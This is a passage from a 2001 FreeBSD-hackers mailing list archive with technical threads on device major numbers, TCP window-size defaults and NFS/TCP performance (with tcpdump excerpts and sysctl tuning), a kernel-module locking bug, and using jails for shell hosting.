Nov 2001 09:43:10 -0800 From: Brooks Davis To: Danny Braniss Cc: hackers@FreeBSD.ORG Subject: Re: device major number Message-ID: <20011130094310.A6653@Odin.AC.HMC.Edu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danny@cs.huji.ac.il on Fri, Nov 30, 2001 at 10:02:56AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 30, 2001 at 10:02:56AM +0200, Danny Braniss wrote: > stupid question, but could'nt (yet) find an answer, im writing a driver, > so i need a major device number (for -stable), is there a list of assigned > numbers, and if so where? what's the procedure to 'assigne' one? The list is in src/sys/conf/majors. I believe the normal advice is to use one of the internal ones (200-252) while developing and switch to a new one when the driver is done. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --FL5UXtIhxfXey3p5 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8B8UuXY6L6fI4GtQRAiDlAJ9q6MANKCzJ7NF7KWbsXR0wPVMyMwCgpWcJ xHHS1PjKgWY6MMmOR8CJB8s= =AKGh -----END PGP SIGNATURE----- --FL5UXtIhxfXey3p5-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 9:46:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 040D737B417; Fri, 30 Nov 2001 09:46:19 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id KAA08175; Fri, 30 Nov 2001 10:45:57 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAUHjuJ18966; Fri, 30 Nov 2001 10:45:56 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15367.50644.710575.213155@caddis.yogotech.com> Date: Fri, 30 Nov 2001 10:45:56 -0700 To: Matthew Dillon Cc: David Malone , Nate Williams , Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <200111301030.fAUAUUS09410@apollo.backplane.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <200111301030.fAUAUUS09410@apollo.backplane.com> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > :> FWIW, I'm seeing this as well. However, this appears to be a new > :> occurance, as we were using a FreeBSD 3.X system for our reference test > :> platform. > : > :Someone recently submitted a PR about TCP based NFS being significantly > :slower under 4.X. I wonder if it could be related? > : > : http://www.freebsd.org/cgi/query-pr.cgi?pr=misc/32141 > : > :There is quite a lot of detail in the PR and the submitter has no > :trouble reproducing the problem. > : > : David. > > Hmm. I'll play with it a bit tomorrow. Er, later today. One thing > I noticed recently with NFS/TCP is that I have to run 'nfsiod -n 4' > on the client to get reasonable TCP performance. I don't think I > had to do that before. It sure sounds similar... like a delayed-ack > problem or improper transmit side backoff. > > It would be nice if someone able to reproduce the problem can test > the TCP connection with newreno turned off (net.inet.tcp.newreno) > and delayed acks turned off (net.inet.tcp.delayed_ack). If that > fixes the proble it narrows down our search considerably. John Capo replied that turning off both did not help his setup any. I was supposed to be testing things yesterday, but the guys got pulled away on another project. Perhaps today I'll get a chance to get some tcpdump's and some more test data. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 9:53:19 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from exuma.irbs.com (exuma.irbs.com [216.86.160.252]) by hub.freebsd.org (Postfix) with ESMTP id B3B5037B419; Fri, 30 Nov 2001 09:53:16 -0800 (PST) Received: by exuma.irbs.com (Postfix, from userid 2500) id C9F6E17406; Fri, 30 Nov 2001 12:53:10 -0500 (EST) Date: Fri, 30 Nov 2001 12:53:10 -0500 From: John Capo To: babkin@freebsd.org Cc: jc@irbs.com, freebsd-hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130125310.A3538@exuma.irbs.com> Reply-To: jc@irbs.com References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <3C0707BD.B8FA31F8@bellatlantic.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3C0707BD.B8FA31F8@bellatlantic.net>; from babkin@bellatlantic.net on Thu, Nov 29, 2001 at 11:14:53PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Looking at the complete dump on the server more closely I see what's happening. The server didn't jump ahead in the stream. The client side of these tests is on a fractional T1. In about 60Ms the server pushed a window's worth of data, about 200 packets since the payload was small, 48 bytes. (48 + IP + TCP) * 200 is around 17KB in 60Ms which overflowed the frame switch queue. The other part of the dump where the server is acked for a segment just sent but does not send the next segment till a duplicate ack is received better than a second later is still suspect to me. John Capo Quoting Sergey Babkin (babkin@bellatlantic.net): > > And here a _very_ pathological thing has happened: the server > just forgot to send the data between sequence numbers 12937 > and 28049. Since the dump was done on the server side, this suggests > that something very bad has happened with the TCP state on > the server side. Possibly the value of the current sequence number > in the protocol control block got overwritten by something. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 9:58:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 6307637B417 for ; Fri, 30 Nov 2001 09:58:40 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAUHwdD89113 for freebsd-hackers@freebsd.org; Fri, 30 Nov 2001 12:58:39 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 12:58:39 -0500 From: Leo Bicknell To: freebsd-hackers@freebsd.org Subject: TCP Performance Graphs Message-ID: <20011130125839.A88302@ussenterprise.ufp.org> Mail-Followup-To: freebsd-hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Since the topic has come up again, I'll provide some graphs, and go back to my suggestion to see if it gets some traction this time around. http://www.ufp.org/~bicknell/fbsdtcp.png This graph shows the theoretical maximum performance of FreeBSD's TCP stack (assuming a network with ample free bandwidth, no router buffering, no dropped packets, etc). The red curve is with the existing (16k) window. I've used a scale of 0 to 100ms RTT, as I think that's the range you should find in the contentional US in the real world. Obviously higher values would be needed to make transoceanic hops, satellite hops, or other cases work. As you can see, we should be able to fill a T1 up to about 83 MS RTT, Ethernet up to about 16ms RTT, and DS-3 up to about 3ms. My 'rough estimate' on the real world is you can get about 75% of those figures across what we know and love as "the Internet", so you could fill a T1 over a connection with an RTT of about 62ms. The question that immediately comes to mind is, why not simply use as big a value as possible? The problem comes down to buffering the data, and busy servers may have to buffer a lot of data. Having a 1 meg window size may have you buffer 1 meg per connection. Note that FreeBSD's current buffer management is particularly stupid in that it will _always_ buffer 1 Meg, need it or not. Until we fix this we need an interim solution. Most of the commercial Unix vendors as well as Linux have moved to a 32k default. This is the green line marked 'proposal' in the graph. This will, on average double the network memory used. If you want to see the impact of this on your own systems, run 'netstat -M', and consider the worst case of doubled usage. I suspect virtually all server admins won't care about the additional memory if it means additional performance. 32k windows, as the graph shows, let you saturate a T1 with a nice buffer. With T1 DSL and Cable modems being common now I feel very strongly that out-of-the-box ability to saturate these links is essential to make people believe FreeBSD is a good performer. It also provides a nice boost (double throughput, imagine that) to users off Ethernet hubs behind higher speed connections. They can now get full Ethernet speed up to about 32 ms, which opens up a significant number of network sites. I've also included 64k, the largest value that can be used without sliding window support. For now, I would consider 64k to be the largest default we should even think about, and it may not be a good idea due to the larger memory footprint. That said, DRAM prices are at an all time low, so now may be the time to poke people to buy more if they want real performance. I don't know who can move this forward, but I'd really like to see 32k windows be the default in the next release. I think 32k could go into current immediately, and stable nearly immediately to start to get some feedback and insure there are no major issues. Finally, many people keep replying that applications can set larger window sizes on their own, so this is unnecessary. While true, this is completely impractical for a number of reasons: * End users won't. They expect it to work out of the box. Tweaking a setting is unacceptable. * Every "bulk transfer" application would have to be modified. Take a look in ports, see if you think that's a good idea. * Non-bulk transfer applications can become bulk transfer applications. For instance, is an ssh session an interactive session, or really an scp of a large file? * Hard coding these values into thousands of programs will make future upgrades (when network speed and memory allow) infinitely harder. If Linux and most of the commercial vendors have found 32k to be an acceptable value I think it's time FreeBSD join them. We should be leading, not last to adopt. (Note, for those curious in another view, try http://www.ufp.org/~bicknell/fbsdtcp3d.png) -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 10:19:50 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id EF76037B405 for ; Fri, 30 Nov 2001 10:19:37 -0800 (PST) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id fAUIGMi82461; Fri, 30 Nov 2001 12:16:22 -0600 (CST) (envelope-from jlemon) Date: Fri, 30 Nov 2001 12:16:22 -0600 (CST) From: Jonathan Lemon Message-Id: <200111301816.fAUIGMi82461@prism.flugsvamp.com> To: jc@irbs.com, hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? X-Newsgroups: local.mail.freebsd-hackers In-Reply-To: References: Organization: Cc: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article you write: >Quoting Sergey Babkin (babkin@bellatlantic.net): >> John Capo wrote: >> > 21:41:49.001039 client.4427 > server.22: P 144:192(48) ack 12937 win >17376 (DF) [tos 0x10] >> > 21:41:49.001073 server.22 > client.4427: . 28049:29497(1448) ack 192 >win 17328 (DF) [tos 0x10] >> > 21:41:49.001085 server.22 > client.4427: P 29497:30313(816) ack 192 >win 17328 (DF) [tos 0x10] >> > 21:41:49.109131 client.4427 > server.22: . ack 12937 win 17376 > (DF) [tos 0x10] >> >> And here a _very_ pathological thing has happened: the server >> just forgot to send the data between sequence numbers 12937 >> and 28049. Since the dump was done on the server side, this suggests >> that something very bad has happened with the TCP state on >> the server side. Possibly the value of the current sequence number >> in the protocol control block got overwritten by something. I don't believe this is happening. It looks like the server blasts everything over the the client, and the client drops a whole bunch of segments. When the server gets the dupack, it correctly performs a fast retransmit and continues transmitting where it left off. server side: 21:41:46.396051 client.4427 > server.22: . ack 11489 win 17376 21:41:46.418208 client.4427 > server.22: . ack 11489 win 17376 21:41:47.460903 server.22 > client.4427: . 11489:12937(1448) ack 144 win 17376 client side: 21:41:46.712307 server.22 > client.4427: P 11441:11489(48) ack 144 win 17376 21:41:46.763034 server.22 > client.4427: . 25937:27385(1448) ack 144 win 17376 21:41:46.763106 client.4427 > server.22: . ack 11489 win 17376 21:41:46.785324 server.22 > client.4427: P 27385:28049(664) ack 144 win 17376 21:41:46.785370 client.4427 > server.22: . ack 11489 win 17376 21:41:47.936278 server.22 > client.4427: . 11489:12937(1448) ack 144 win 17376 However, at this point, the client no further packets, so the server really needs to enter slow start and retransmit everything starting at 12937. Instead, it seems that the server remains in congestion avoidance, and keeps sending at leading edge of the window, performing fast retransmits. John, please try tweaking this sysctl: sysctl -w net.inet.tcp.local_slowstart_flightsize=1 which should force the server to start out doing slow start. This isn't exactly a fix for the above problem, but may heip avoid getting into the situation in the first place. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 10:27:42 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id A34CC37B417 for ; Fri, 30 Nov 2001 10:27:40 -0800 (PST) Received: from onyx (onyx.cs.binghamton.edu [128.226.140.171]) by bingnet2.cc.binghamton.edu (8.11.6/8.11.6) with ESMTP id fAUIRZf01664 for ; Fri, 30 Nov 2001 13:27:35 -0500 (EST) Date: Fri, 30 Nov 2001 13:25:49 -0500 (EST) From: Zhihui Zhang X-Sender: zzhang@onyx To: freebsd-hackers@FreeBSD.ORG Subject: Re: Timedout SCB already complete In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have been able to fix this bug in my KLD. I forgot to add a splbio() protection in a function. On Thu, 29 Nov 2001, Zhihui Zhang wrote: > > While running my KLD that does a lot of I/O, I see the following message: > > ahc0: Timedout SCB already complete. interrupts may not be functioning. > > This happens after my KLD runs a while. > > What could be the problem? Where could the bugs likely exist? > > Thanks for any clue. > > -Zhihui > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 10:33:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 94E2637B417 for ; Fri, 30 Nov 2001 10:33:43 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.3/8.11.1) id fAUITSv31602; Fri, 30 Nov 2001 10:29:28 -0800 (PST) (envelope-from rizzo) Date: Fri, 30 Nov 2001 10:29:28 -0800 From: Luigi Rizzo To: Leo Bicknell Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130102928.E30981@iguana.aciri.org> References: <20011130125839.A88302@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011130125839.A88302@ussenterprise.ufp.org> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The default window size (controlled by the socket buffer size) can be globally modified using sysctl variables: net.inet.tcp.sendspace: 16384 net.inet.tcp.recvspace: 16384 As you mention, changing this (and other things such as the amount of mbufs/clusters, etc.etc.) must be done considering the hw configuration and other issues. It is not a big deal to move the default to 32 or 64k, and I'd vote for that, but if a sysadmin is unable to have a look at this, then the problem is in the sysadmin, not in FreeBSD! cheers luigi ----------------------------------+----------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . ACIRI/ICSI (on leave from Univ. di Pisa) http://www.iet.unipi.it/~luigi/ . 1947 Center St, Berkeley CA 94704 Phone: (510) 666 2927 ----------------------------------+----------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 10:48:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 201ED37B41B for ; Fri, 30 Nov 2001 10:48:13 -0800 (PST) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id NAA19666 for ; Fri, 30 Nov 2001 13:48:08 -0500 (EST) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.11.3/8.9.1) id fAUIlg100580; Fri, 30 Nov 2001 13:47:42 -0500 (EST) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15367.54349.876429.742833@grasshopper.cs.duke.edu> Date: Fri, 30 Nov 2001 13:47:41 -0500 (EST) To: freebsd-hackers@freebsd.org Reply-To: trim_your_ccs@loopback.net Subject: Re: TCP Performance Graphs In-Reply-To: <20011130125839.A88302@ussenterprise.ufp.org> References: <20011130125839.A88302@ussenterprise.ufp.org> X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Leo Bicknell writes: > The question that immediately comes to mind is, why not simply use > as big a value as possible? The problem comes down to buffering > the data, and busy servers may have to buffer a lot of data. Having > a 1 meg window size may have you buffer 1 meg per connection. Note > that FreeBSD's current buffer management is particularly stupid in > that it will _always_ buffer 1 Meg, need it or not. Until we fix > this we need an interim solution. > I thought that I heard a few months ago that Matt Dillon was looking at ways to dynamically size tcp windows from within the kernel. Maybe I'm on crack. Maybe we should look at the Dynamic Righsizing work being done at LANL. See "Dynamic Adjustment of TCP Window Sizes" and "Dynamic Right-Sizing: A Simulation Study" at http://public.lanl.gov/radiant/publications.html Cheers, Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11: 8:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id BDAD237B405 for ; Fri, 30 Nov 2001 11:08:27 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAUJ8DJ91060; Fri, 30 Nov 2001 14:08:13 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 14:08:13 -0500 From: Leo Bicknell To: trim_your_ccs@loopback.net Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130140813.A90969@ussenterprise.ufp.org> Mail-Followup-To: trim_your_ccs@loopback.net, freebsd-hackers@FreeBSD.ORG References: <20011130125839.A88302@ussenterprise.ufp.org> <15367.54349.876429.742833@grasshopper.cs.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15367.54349.876429.742833@grasshopper.cs.duke.edu>; from gallatin@cs.duke.edu on Fri, Nov 30, 2001 at 01:47:41PM -0500 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 01:47:41PM -0500, Andrew Gallatin wrote: > I thought that I heard a few months ago that Matt Dillon was looking > at ways to dynamically size tcp windows from within the kernel. Maybe > I'm on crack. He is. It is very good work that I wish I could spend more time helping with, as it is clearly the long term solution to this problem. That said, it's far enough out I think we need a temporary fix in increasing the defaults. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:11: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id BF37E37B405 for ; Fri, 30 Nov 2001 11:11:01 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAUJB0I91189; Fri, 30 Nov 2001 14:11:00 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 14:11:00 -0500 From: Leo Bicknell To: Luigi Rizzo Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130141100.B90969@ussenterprise.ufp.org> Mail-Followup-To: Luigi Rizzo , freebsd-hackers@FreeBSD.ORG References: <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130102928.E30981@iguana.aciri.org>; from rizzo@aciri.org on Fri, Nov 30, 2001 at 10:29:28AM -0800 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 10:29:28AM -0800, Luigi Rizzo wrote: > It is not a big deal to move the default to 32 or 64k, and I'd > vote for that, but if a sysadmin is unable to have a look at this, > then the problem is in the sysadmin, not in FreeBSD! I disagree, on two points: * Many people use FreeBSD as a desktop OS. Think the same people who use Win98, but only slightly smarter. These people are 'sysadmins' only in the sense that they have a root password. When FreeBSD can't fill their DSL line and Linux can, they will switch to Linux never knowing what the real problem was. * Most sysadmins shouldn't be bothered with this. People running news or IRC servers, or huge (100+ box) web farms might know these tricks, but the guy who sets up a server to dump 100k/sec average of web pages shouldn't be bothered. To extend your logic, we might as well make it default to 4k, since that is the most resource conservative, and anyone who cares will increase it. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:26:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id D954537B405 for ; Fri, 30 Nov 2001 11:26:30 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.3/8.11.1) id fAUJMFh31965; Fri, 30 Nov 2001 11:22:15 -0800 (PST) (envelope-from rizzo) Date: Fri, 30 Nov 2001 11:22:15 -0800 From: Luigi Rizzo To: Leo Bicknell Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130112215.H30981@iguana.aciri.org> References: <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011130141100.B90969@ussenterprise.ufp.org> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 02:11:00PM -0500, Leo Bicknell wrote: ... > * Many people use FreeBSD as a desktop OS. Think the same people > who use Win98, but only slightly smarter. These people are > 'sysadmins' only in the sense that they have a root password. > When FreeBSD can't fill their DSL line and Linux can, they will > switch to Linux never knowing what the real problem was. we are going to gain/lose these people at any blow of wind, any spam that says "X is better than Y" will cause them to switch, and they'll never bother to read why or how to cure it. Do we care ? Maybe. Do we have the energy to fight FUD ? I doubt it. > To extend your logic, we might as well make it default to 4k, since > that is the most resource conservative, and anyone who cares will > increase it. My logic is that I would like to increase the default to 32 or 64k, but if this involves starting an endless discussion to reach consensus on whether this can be done or not, I prefer to fight other battles (maybe equally pointless). cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:27:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from soda.nextgig.com (nextgig-6.customer.nethere.net [209.132.102.166]) by hub.freebsd.org (Postfix) with ESMTP id D429B37B41B for ; Fri, 30 Nov 2001 11:27:10 -0800 (PST) Received: from DMANESAJIAN († by soda.nextgig.com (8.11.3/8.11.3) with SMTP id fAUJQmW29527; Fri, 30 Nov 2001 11:26:48 -0800 (PST) From: "Daniel Manesajian" To: "Leo Bicknell" , "Luigi Rizzo" Cc: Subject: RE: TCP Performance Graphs Date: Fri, 30 Nov 2001 11:31:15 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20011130141100.B90969@ussenterprise.ufp.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dude, the statement was that Luigi is in favor of _increasing_ the default size. How do you "extend his logic" to say it might as well be reduced to 4k? Please don't put words in people's mouths. Daniel "D-man" Manesajian > -----Original Message----- > From: owner-freebsd-hackers@FreeBSD.ORG > [mailto:owner-freebsd-hackers@FreeBSD.ORG]On Behalf Of Leo Bicknell > Sent: Friday, November 30, 2001 11:11 AM > To: Luigi Rizzo > Cc: freebsd-hackers@FreeBSD.ORG > Subject: Re: TCP Performance Graphs > > > On Fri, Nov 30, 2001 at 10:29:28AM -0800, Luigi Rizzo wrote: > > It is not a big deal to move the default to 32 or 64k, and I'd > > vote for that, but if a sysadmin is unable to have a look at this, > > then the problem is in the sysadmin, not in FreeBSD! > > I disagree, on two points: > > * Many people use FreeBSD as a desktop OS. Think the same people > who use Win98, but only slightly smarter. These people are > 'sysadmins' only in the sense that they have a root password. > When FreeBSD can't fill their DSL line and Linux can, they will > switch to Linux never knowing what the real problem was. > > * Most sysadmins shouldn't be bothered with this. People running > news or IRC servers, or huge (100+ box) web farms might know > these tricks, but the guy who sets up a server to dump 100k/sec > average of web pages shouldn't be bothered. > > To extend your logic, we might as well make it default to 4k, since > that is the most resource conservative, and anyone who cares will > increase it. > > -- > Leo Bicknell - bicknell@ufp.org - CCIE 3440 > PGP keys at http://www.ufp.org/~bicknell/ > Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 11:38:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from aaz.links.ru (aaz.links.ru [193.125.152.37]) by hub.freebsd.org (Postfix) with ESMTP id 1F80437B405 for ; Fri, 30 Nov 2001 11:38:14 -0800 (PST) Received: (from babolo@localhost) by aaz.links.ru (8.9.3/8.9.3) id WAA05829; Fri, 30 Nov 2001 22:44:51 +0300 (MSK) Message-Id: <200111301944.WAA05829@aaz.links.ru> Subject: Re: more on jail - suitable for multi user system ? In-Reply-To: from "Joesh Juphland" at "Nov 30, 1 00:16:50 am" To: part_lion@hotmail.com (Joesh Juphland) Date: Fri, 30 Nov 2001 22:44:50 +0300 (MSK) Cc: hackers@FreeBSD.ORG From: "."@babolo.ru MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joesh Juphland writes: > One thing I would like to do as a hobby is start a classic multi-user unix > system and giving out shell accounts to whoever wants one. Not a money > maker, of course, but it would be fun. > > My question: does anyone have any comments on using `jail` in a public > environment like this - that is, instead of giving away individual shell > accounts, you would give away individual "jails" - basically a whole > seperate machine with its own IP and own root access, etc. ? Full jailes (that is - every jail has running sshd) requires different IP for every jail. Big IP alias list for one interface is needed. I think about whole network assignment instead of only host address for interface. It is possible sharing same IP different ports. I usually mount /etc into jail read only to prevent changes in port/jail mapping at startup and restrict local_startup="/etc/rc.d" I have startup script that 